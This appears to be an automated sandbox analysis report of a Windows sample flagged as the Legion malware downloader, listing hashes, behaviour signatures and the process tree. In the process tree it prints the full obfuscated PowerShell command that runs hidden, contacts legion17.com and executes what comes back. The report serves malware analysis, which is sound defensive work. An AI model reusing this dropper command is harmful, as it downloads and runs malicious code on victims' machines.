Analysis

  • max time kernel
    92s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-09-2024 03:51

General

  • Target

    d103074755792906a0aab038103444e3_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    d103074755792906a0aab038103444e3

  • SHA1

    ffb8d5a1d2d3dda1fa013168017bd833aaa28064

  • SHA256

    2b61b3b00aa5d548e41dc305cb1271c26dc387601a7a7cdb63600b49c270bb30

  • SHA512

    30be12dba187e19d797e6a5b502185ac37848ef80e9431e0cfb98c4b64c104f122fa2101538a0805513b7658bc8585a31ce0a8f00b725f33b8f70645e82e4660

  • SSDEEP

    3072:oUZF2pKMp8r2+6LqAlkNQu2BaYP138oC2C5L:PZF2jpwARBsXL

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://legion17.com/legion17/welcome

Signatures

  • Legion

    Legion is a malware downloader written in C++ and stealer written C#.

  • Legion downloader 1 IoCs

    Detected Legion downloader HTTP request code and PowerShell execution.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d103074755792906a0aab038103444e3_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4012
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3076
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -windowstyle hidden -command "&{$t='#i#ex##################@(n#ew###-#ob#jec#t N#####et#.W#eb#Cl#ie#nt#).#Up#loa#d#####St#ri#ng(#''h#t#tp#:#//legion17.com/leg#ion1#7#/#w#el#co#me''#,#''H#or#seHo#urs''#)#|#i#e#x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3044

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rgolfkz0.gd5.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3044-15-0x0000000006270000-0x00000000062D6000-memory.dmp

    Filesize

    408KB

  • memory/3044-10-0x000000007485E000-0x000000007485F000-memory.dmp

    Filesize

    4KB

  • memory/3044-12-0x0000000074850000-0x0000000075000000-memory.dmp

    Filesize

    7.7MB

  • memory/3044-13-0x0000000005B40000-0x0000000006168000-memory.dmp

    Filesize

    6.2MB

  • memory/3044-14-0x0000000005A80000-0x0000000005AA2000-memory.dmp

    Filesize

    136KB

  • memory/3044-33-0x0000000074850000-0x0000000075000000-memory.dmp

    Filesize

    7.7MB

  • memory/3044-16-0x00000000062E0000-0x0000000006346000-memory.dmp

    Filesize

    408KB

  • memory/3044-11-0x0000000003360000-0x0000000003396000-memory.dmp

    Filesize

    216KB

  • memory/3044-26-0x0000000006450000-0x00000000067A4000-memory.dmp

    Filesize

    3.3MB

  • memory/3044-27-0x0000000006940000-0x000000000695E000-memory.dmp

    Filesize

    120KB

  • memory/3044-28-0x0000000006990000-0x00000000069DC000-memory.dmp

    Filesize

    304KB

  • memory/3044-29-0x0000000008190000-0x000000000880A000-memory.dmp

    Filesize

    6.5MB

  • memory/3044-30-0x0000000006E80000-0x0000000006E9A000-memory.dmp

    Filesize

    104KB

  • memory/4012-9-0x0000000000C50000-0x0000000000C83000-memory.dmp

    Filesize

    204KB